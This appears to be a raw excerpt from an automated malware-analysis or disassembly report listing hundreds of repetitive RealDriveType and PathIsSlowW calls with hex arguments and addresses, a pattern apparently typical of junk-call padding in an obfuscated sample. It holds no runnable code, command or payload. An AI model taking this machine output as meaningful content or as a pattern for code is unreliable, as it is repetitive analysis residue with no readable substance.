Part of subcall function 0041AD76: RealDriveType.SHELL32(070D2202,00000000), ref: 0041AF02
Part of subcall function 0041AD76: RealDriveType.SHELL32(1B94926A,00000000), ref: 0041AF0F
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041AF19
Part of subcall function 0041AD76: RealDriveType.SHELL32(C8C42F5E,00000000), ref: 0041AF22
Part of subcall function 0041AD76: RealDriveType.SHELL32(D76050E1,00000000), ref: 0041AF2F
Part of subcall function 0041AD76: RealDriveType.SHELL32(1B837923,00000000), ref: 0041AF3C
Part of subcall function 0041AD76: RealDriveType.SHELL32(9064BFC7,00000000), ref: 0041AF49
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041AF53
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041AF59
Part of subcall function 0041AD76: RealDriveType.SHELL32(AFE6E195,00000000), ref: 0041AF62
Part of subcall function 0041AD76: RealDriveType.SHELL32(3CCCC8AD,00000000), ref: 0041AF6F
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041AF79
Part of subcall function 0041AD76: RealDriveType.SHELL32(49AB8BAF,00000000), ref: 0041AF82
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041AF8C
Part of subcall function 0041AD76: RealDriveType.SHELL32(49B60F98,00000000), ref: 0041AF95
Part of subcall function 0041AD76: RealDriveType.SHELL32(05950617,00000000), ref: 0041AFA2
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041AFAC
Part of subcall function 0041AD76: RealDriveType.SHELL32(469C9C40,00000000), ref: 0041AFB5
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041AFBF
Part of subcall function 0041AD76: RealDriveType.SHELL32(429F1FBD,00000000), ref: 0041AFC8
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041AFD2
Part of subcall function 0041AD76: RealDriveType.SHELL32(DE0C8199,00000000), ref: 0041AFDB
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041AFE5
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041AFEB

RealDriveType.SHELL32(BDA6F265,00000000), ref: 0040B66A
RealDriveType.SHELL32(81D8577E,00000000), ref: 0040B673
RealDriveType.SHELL32(DDE7B999,00000000), ref: 0040B67C
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040B682
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040B68C
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040B696
RealDriveType.SHELL32(CA4136CF,00000000), ref: 0040B6A3
RealDriveType.SHELL32(067B84BF,00000000), ref: 0040B6AC
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040B6B2
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040B6BC
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040B6C6
RealDriveType.SHELL32(7E1B8ABB,00000000), ref: 0040B6D3
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040B6D9
RealDriveType.SHELL32(9A965EE0,00000000), ref: 0040B6E6
RealDriveType.SHELL32(FBFDE13F,00000000), ref: 0040B6EF
RealDriveType.SHELL32(9BE305ED,00000000), ref: 0040B6F8
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040B6FE
RealDriveType.SHELL32(9B1A8C35,00000000), ref: 0040B70B
RealDriveType.SHELL32(7BBFFEDA,00000000), ref: 0040B714
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040B71A
RealDriveType.SHELL32(8FB2BDD1,00000000), ref: 0040B727
RealDriveType.SHELL32(73FAB213,00000000), ref: 0040B730
RealDriveType.SHELL32(B5E826D1,00000000), ref: 0040B739
RealDriveType.SHELL32(EE9C4414,00000000), ref: 0040B742
RealDriveType.SHELL32(A752A569,00000000), ref: 0040B74B
RealDriveType.SHELL32(50A70A7B,00000000), ref: 0040B754
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040B75A
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040B764
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040B76E
RealDriveType.SHELL32(4C0C7AD1,00000000), ref: 0040B77B
RealDriveType.SHELL32(B8BA58DD,00000000), ref: 0040B784
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040B78A
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040B794
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040B79E
RealDriveType.SHELL32(EAAF3032,00000000), ref: 0040B7AB
RealDriveType.SHELL32(C8DDD132,00000000), ref: 0040B7B4

Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041AFF1
Part of subcall function 0041AD76: RealDriveType.SHELL32(E995579D,00000000), ref: 0041AFFA
Part of subcall function 0041AD76: RealDriveType.SHELL32(84B4EFE9,00000000), ref: 0041B007
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041B011
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041B017
Part of subcall function 0041AD76: RealDriveType.SHELL32(69DD92CF,00000000), ref: 0041B020
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041B02A
Part of subcall function 0041AD76: RealDriveType.SHELL32(D60D9783,00000000), ref: 0041B033
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041B03D
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041B043
Part of subcall function 0041AD76: RealDriveType.SHELL32(D524453E,00000000), ref: 0041B04C
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041B056
Part of subcall function 0041AD76: LocalAlloc.KERNELBASE(00000040,00000000,?,?,00413AB2), ref: 0041B05E
Part of subcall function 0041AD76: RealDriveType.SHELL32(95C49318,00000000), ref: 0041B079
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041B083
Part of subcall function 0041AD76: RealDriveType.SHELL32(1DCFFBF4,00000000), ref: 0041B090
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041B09A
Part of subcall function 0041AD76: RealDriveType.SHELL32(9C735FFF,00000000), ref: 0041B0A7
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041B0B1
Part of subcall function 0041AD76: RealDriveType.SHELL32(68C482AD,00000000), ref: 0041B0BE
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041B0C8
Part of subcall function 0041AD76: RealDriveType.SHELL32(691D272A,00000000), ref: 0041B0D5
Part of subcall function 0041AD76: RealDriveType.SHELL32(DBDB247C,00000000), ref: 0041B0E2
Part of subcall function 0041AD76: RealDriveType.SHELL32(89A7247D,00000000), ref: 0041B0EF
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041B0F9
Part of subcall function 0041AD76: RealDriveType.SHELL32(7BCCF2AA,00000000), ref: 0041B106
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041B110
Part of subcall function 0041AD76: RealDriveType.SHELL32(FD492CE4,00000000), ref: 0041B11D
Part of subcall function 0041AD76: RealDriveType.SHELL32(9D6BEA8D,00000000), ref: 0041B12A
Part of subcall function 0041AD76: RealDriveType.SHELL32(E0F34789,00000000), ref: 0041B137
Part of subcall function 0041AD76: RealDriveType.SHELL32(044B76F0,00000000), ref: 0041B144
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041B14E

PathIsSlowW.SHELL32(00000000,00000000), ref: 0040B7CB
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040B7D1
RealDriveType.SHELL32(4B7C55D6,00000000), ref: 0040B7DA
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040B7E0
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040B7E6
RealDriveType.SHELL32(641EDAA3,00000000), ref: 0040B7EF
RealDriveType.SHELL32(87B6C870,00000000), ref: 0040B7F8
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040B7FE
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040B804
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040B80A
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040B810
RealDriveType.SHELL32(772822CD,00000000), ref: 0040B819
RealDriveType.SHELL32(621A20C0,00000000), ref: 0040B822
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040B828
RealDriveType.SHELL32(54BDBF78,00000000), ref: 0040B831
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040B837
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040B83D
RealDriveType.SHELL32(03851D18,00000000), ref: 0040B846
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040B84C
RealDriveType.SHELL32(728CFA48,00000000), ref: 0040B855
RealDriveType.SHELL32(34AA940F,00000000), ref: 0040B85E
RealDriveType.SHELL32(79E62518,00000000), ref: 0040B867
RealDriveType.SHELL32(93FAA1AC,00000000), ref: 0040B870
RealDriveType.SHELL32(F8EE6001,00000000), ref: 0040B879
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040B87F
RealDriveType.SHELL32(5BC1C30F,00000000), ref: 0040B888
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040B88E
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040B894
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040B89A
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040B8A0
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040B8A6
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040B8AC
RealDriveType.SHELL32(09AB2EEE,00000000), ref: 0040B8B5
RealDriveType.SHELL32(0CBF52D8,00000000), ref: 0040B8BE
RealDriveType.SHELL32(C2DE5555,00000000), ref: 0040B8C7
RealDriveType.SHELL32(66882A96,00000000), ref: 0040B8D0

Part of subcall function 0041AD76: RealDriveType.SHELL32(F4BADB94,00000000), ref: 0041B15B
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041B165
Part of subcall function 0041AD76: RealDriveType.SHELL32(EE3E27F5,00000000), ref: 0041B172
Part of subcall function 0041AD76: RealDriveType.SHELL32(48485EFA,00000000), ref: 0041B17F
Part of subcall function 0041AD76: RealDriveType.SHELL32(070B9A41,00000000), ref: 0041B18C
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041B196
Part of subcall function 0041AD76: RealDriveType.SHELL32(571FE76C,00000000), ref: 0041B1A3
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041B1AD
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041B1B7
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041B1C1
Part of subcall function 0041AD76: RealDriveType.SHELL32(52ABA1CE,00000000), ref: 0041B1CE
Part of subcall function 0041AD76: RealDriveType.SHELL32(B9749A76,00000000), ref: 0041B1DB
Part of subcall function 0041AD76: RealDriveType.SHELL32(50A3EE5B,00000000), ref: 0041B1E8
Part of subcall function 0041AD76: RealDriveType.SHELL32(85FA4239,00000000), ref: 0041B1F5
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041B1FF
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041B209
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041B213
Part of subcall function 0041AD76: RealDriveType.SHELL32(6EFD5CA5,00000000), ref: 0041B231
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041B23B
Part of subcall function 0041AD76: RealDriveType.SHELL32(0FD92313,00000000), ref: 0041B244
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041B24A
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041B250
Part of subcall function 0041AD76: RealDriveType.SHELL32(E4AA7B61,00000000), ref: 0041B259
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041B25F
Part of subcall function 0041AD76: RealDriveType.SHELL32(9267EC63,00000000), ref: 0041B268
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041B26E
Part of subcall function 0041AD76: RealDriveType.SHELL32(DA224DC3,00000000), ref: 0041B277
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041B27D
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041B283
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041B289
Part of subcall function 0041AD76: RealDriveType.SHELL32(A7867F73,00000000), ref: 0041B292

PathIsSlowW.SHELL32(00000000,00000000), ref: 0040B8E5
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040B8EB
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040B8F1
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040B8F7
RealDriveType.SHELL32(11197F5B,00000000), ref: 0040B900
RealDriveType.SHELL32(D57114C2,00000000), ref: 0040B909
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040B90F
RealDriveType.SHELL32(9D64C0FF,00000000), ref: 0040B918
RealDriveType.SHELL32(F021A2E5,00000000), ref: 0040B921
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040B927
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040B92D
RealDriveType.SHELL32(A5D4A191,00000000), ref: 0040B936
RealDriveType.SHELL32(4C674440,00000000), ref: 0040B93F
RealDriveType.SHELL32(F3E84F1D,00000000), ref: 0040B948
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040B94E
RealDriveType.SHELL32(0AD7D75C,00000000), ref: 0040B957
RealDriveType.SHELL32(2B7806F2,00000000), ref: 0040B960
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040B966
RealDriveType.SHELL32(CCCA5FD5,00000000), ref: 0040B96F
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040B975
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040B97B
RealDriveType.SHELL32(B07C5106,00000000), ref: 0040B984
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040B98A
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040B990
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040B996
RealDriveType.SHELL32(476DC3DB,00000000), ref: 0040B99F
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040B9A5
RealDriveType.SHELL32(B7CF834F,00000000), ref: 0040B9AE
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040B9B4
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040B9BA
RealDriveType.SHELL32(093FCECE,00000000), ref: 0040B9C3
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040B9C9
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040B9CF
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040B9D5
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040B9DB
RealDriveType.SHELL32(C388F32E,00000000), ref: 0040B9E4

Part of subcall function 0041AD76: RealDriveType.SHELL32(4E7350CF,00000000), ref: 0041B29B
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041B2A1
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041B2A7
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041B2AD
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041B2B3
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041B2B9
Part of subcall function 0041AD76: RealDriveType.SHELL32(8A17A7AE,00000000), ref: 0041B2C2
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041B2C8
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041B2CE
Part of subcall function 0041AD76: RealDriveType.SHELL32(B95CF60A,00000000), ref: 0041B2D7
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041B2DD
Part of subcall function 0041AD76: RealDriveType.SHELL32(7CCFEA8C,00000000), ref: 0041B2E6
Part of subcall function 0041AD76: RealDriveType.SHELL32(D60CCAF0,00000000), ref: 0041B2EF
Part of subcall function 0041AD76: RealDriveType.SHELL32(8B5FE606,00000000), ref: 0041B2F8
Part of subcall function 0041AD76: RealDriveType.SHELL32(642C6F94,00000000), ref: 0041B301
Part of subcall function 0041AD76: RealDriveType.SHELL32(D2826C73,00000000), ref: 0041B30A
Part of subcall function 0041AD76: RealDriveType.SHELL32(713B5C57,00000000), ref: 0041B313
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041B319
Part of subcall function 0041AD76: RealDriveType.SHELL32(0C8175A7,00000000), ref: 0041B322
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041B328
Part of subcall function 0041AD76: RealDriveType.SHELL32(696CF4EC,00000000), ref: 0041B331
Part of subcall function 0041AD76: RealDriveType.SHELL32(7FF3D359,00000000), ref: 0041B33A
Part of subcall function 0041AD76: GlobalFree.KERNEL32(?), ref: 0041B33F
Part of subcall function 0041AD76: RealDriveType.SHELL32(70AECD0D,00000000), ref: 0041B34C
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041B352
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041B358
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041B35E
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041B364
Part of subcall function 0041AD76: RealDriveType.SHELL32(AB226166,00000000), ref: 0041B36D
Part of subcall function 0041AD76: RealDriveType.SHELL32(1875566A,00000000), ref: 0041B376
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041B37C
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041B382
Part of subcall function 0041AD76: RealDriveType.SHELL32(001CBF60,00000000), ref: 0041B38B

PathIsSlowW.SHELL32(00000000,00000000), ref: 0040B9F6
RealDriveType.SHELL32(81B9202F,00000000), ref: 0040B9FF
RealDriveType.SHELL32(CE9F2F4D,00000000), ref: 0040BA08
RealDriveType.SHELL32(DADE7877,00000000), ref: 0040BA11
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040BA17
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040BA1D
RealDriveType.SHELL32(0436AD79,00000000), ref: 0040BA26
RealDriveType.SHELL32(842BC7F8,00000000), ref: 0040BA2F
RealDriveType.SHELL32(8C7A6478,00000000), ref: 0040BA38
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040BA3E
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040BA44
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040BA4A
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040BA50
RealDriveType.SHELL32(F3560742,00000000), ref: 0040BA59
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040BA5F
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040BA65
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040BA6B
RealDriveType.SHELL32(E14E98E0,00000000), ref: 0040BA74
RealDriveType.SHELL32(C7F896E8,00000000), ref: 0040BA7D
RealDriveType.SHELL32(D72893FA,00000000), ref: 0040BA86
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040BA8C
RealDriveType.SHELL32(4F6A7B31,00000000), ref: 0040BA95
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040BA9B
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040BAA1
RealDriveType.SHELL32(B3753237,00000000), ref: 0040BAAA
RealDriveType.SHELL32(7EB5DBCC,00000000), ref: 0040BAB3
RealDriveType.SHELL32(A07FCA31,00000000), ref: 0040BABC
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040BAC2
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040BAC8
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040BACE
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040BAD4
RealDriveType.SHELL32(E91CADFD,00000000), ref: 0040BADD
RealDriveType.SHELL32(3E2B468D,00000000), ref: 0040BAE6
RealDriveType.SHELL32(BB426D93,00000000), ref: 0040BAEF
RealDriveType.SHELL32(E16A0C53,00000000), ref: 0040BAF8
RealDriveType.SHELL32(54F9D74C,00000000), ref: 0040BB01
StrCpyW.SHLWAPI(?,00000000), ref: 0040BB07
RealDriveType.SHELL32(D6549D56,00000000), ref: 0040BB17
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040BB1D
RealDriveType.SHELL32(044CFA0B,00000000), ref: 0040BB26
RealDriveType.SHELL32(E3534587,00000000), ref: 0040BB2F
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040BB35
RealDriveType.SHELL32(8B5E67F1,00000000), ref: 0040BB3E
RealDriveType.SHELL32(B5F88D20,00000000), ref: 0040BB47
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040BB4D
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040BB53
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040BB59
RealDriveType.SHELL32(553D0551,00000000), ref: 0040BB62
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040BB68
RealDriveType.SHELL32(237A173D,00000000), ref: 0040BB71
RealDriveType.SHELL32(1D12508C,00000000), ref: 0040BB7A
RealDriveType.SHELL32(F4016C09,00000000), ref: 0040BB83
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040BB89
RealDriveType.SHELL32(A5E07BD8,00000000), ref: 0040BB92
RealDriveType.SHELL32(E11189D1,00000000), ref: 0040BB9B
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040BBA1
RealDriveType.SHELL32(63FEA910,00000000), ref: 0040BBAA
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040BBB0
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040BBB6
RealDriveType.SHELL32(BEE54A43,00000000), ref: 0040BBBF
RealDriveType.SHELL32(7F790A61,00000000), ref: 0040BBC8
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040BBCE
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040BBD4
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040BBDA
RealDriveType.SHELL32(D743FF19,00000000), ref: 0040BBE3
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040BBE9
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040BBEF
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040BBF5
RealDriveType.SHELL32(96F0F5B5,00000000), ref: 0040BBFE
RealDriveType.SHELL32(9B39ED2C,00000000), ref: 0040BC07
RealDriveType.SHELL32(FAE4BF0E,00000000), ref: 0040BC10
RealDriveType.SHELL32(F3DE04D4,00000000), ref: 0040BC19
RealDriveType.SHELL32(3DC246D4,00000000), ref: 0040BC22
RealDriveType.SHELL32(CE7C3141,00000000), ref: 0040BC2B
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040BC31
RealDriveType.SHELL32(EA552534,00000000), ref: 0040BC3A
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040BC40
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040BC46
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040BC4C
RealDriveType.SHELL32(0BDF900C,00000000), ref: 0040BC55
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040BC5B
RealDriveType.SHELL32(A9764342,00000000), ref: 0040BC64
RealDriveType.SHELL32(D7FBC2AE,00000000), ref: 0040BC6D
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040BC73
RealDriveType.SHELL32(7D8A6F94,00000000), ref: 0040BC7C
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040BC82
RealDriveType.SHELL32(1670686E,00000000), ref: 0040BC8B
RealDriveType.SHELL32(05E10E04,00000000), ref: 0040BC94
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040BC9A
RealDriveType.SHELL32(69207F03,00000000), ref: 0040BCA3
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040BCA9
RealDriveType.SHELL32(F1145D03,00000000), ref: 0040BCB2
RealDriveType.SHELL32(20666E77,00000000), ref: 0040BCBB
RealDriveType.SHELL32(25701151,00000000), ref: 0040BCC4
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040BCCA
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040BCD0
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040BCD6
RealDriveType.SHELL32(ECB2B3B1,00000000), ref: 0040BCDF
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040BCE5
RealDriveType.SHELL32(09F35BF4,00000000), ref: 0040BCEE
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040BCF4
RealDriveType.SHELL32(E4D0FDD5,00000000), ref: 0040BCFD
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040BD03
RealDriveType.SHELL32(B6C662FD,00000000), ref: 0040BD0C
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040BD12
RealDriveType.SHELL32(DE5E1600,00000000), ref: 0040BD1B
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040BD21
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040BD27
RealDriveType.SHELL32(114ABBE0,00000000), ref: 0040BD30
RealDriveType.SHELL32(E05FB4EF,00000000), ref: 0040BD39
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040BD3F
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040BD45
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040BD4B
RealDriveType.SHELL32(B29224F8,00000000), ref: 0040BD54
RealDriveType.SHELL32(5A332E7F,00000000), ref: 0040BD5D
RealDriveType.SHELL32(B12EEA2D,00000000), ref: 0040BD66
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040BD6C
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040BD72
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040BD78
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040BD7E
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040BD84
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040BD8A
RealDriveType.SHELL32(2DC6B3AB,00000000), ref: 0040BD93
RealDriveType.SHELL32(1D83091A,00000000), ref: 0040BD9C
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040BDA2
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040BDA8
RealDriveType.SHELL32(3660BC5E,00000000), ref: 0040BDB1
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040BDB7
RealDriveType.SHELL32(45FDD6E4,00000000), ref: 0040BDC0
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040BDC6
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040BDCC
RealDriveType.SHELL32(186DF833,00000000), ref: 0040BDD5
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040BDDB
RealDriveType.SHELL32(074BF6E9,00000000), ref: 0040BDE4
RealDriveType.SHELL32(F273C62A,00000000), ref: 0040BDED
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040BDF3
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040BDF9
RealDriveType.SHELL32(1E4802CB,00000000), ref: 0040BE02
RealDriveType.SHELL32(8A8A4F36,00000000), ref: 0040BE0B
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040BE11
RealDriveType.SHELL32(07EAB83F,00000000), ref: 0040BE1A
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040BE20
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040BE26
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040BE2C
RealDriveType.SHELL32(5C8298FC,00000000), ref: 0040BE35
LocalFree.KERNEL32(00000000), ref: 0040BE38
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040BE42
RealDriveType.SHELL32(466CC6DB,00000000), ref: 0040BE4C
RealDriveType.SHELL32(37EBA46A,00000000), ref: 0040BE54
RealDriveType.SHELL32(30A1C876,00000000), ref: 0040BE5C
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040BE60
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040BE64
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040BE68
RealDriveType.SHELL32(BB54959D,00000000), ref: 0040BE70
RealDriveType.SHELL32(2EE921D5,00000000), ref: 0040BE78
RealDriveType.SHELL32(6E480E5E,00000000), ref: 0040BE80
RealDriveType.SHELL32(C2D66409,00000000), ref: 0040BE88
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040BE8C
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040BE90
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040BE94
RealDriveType.SHELL32(0C44EBD7,00000000), ref: 0040BE9C
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040BEA0
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040BEA4
RealDriveType.SHELL32(38E421AD,00000000), ref: 0040BEAC
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040BEB0
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040BEB4
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040BEB8
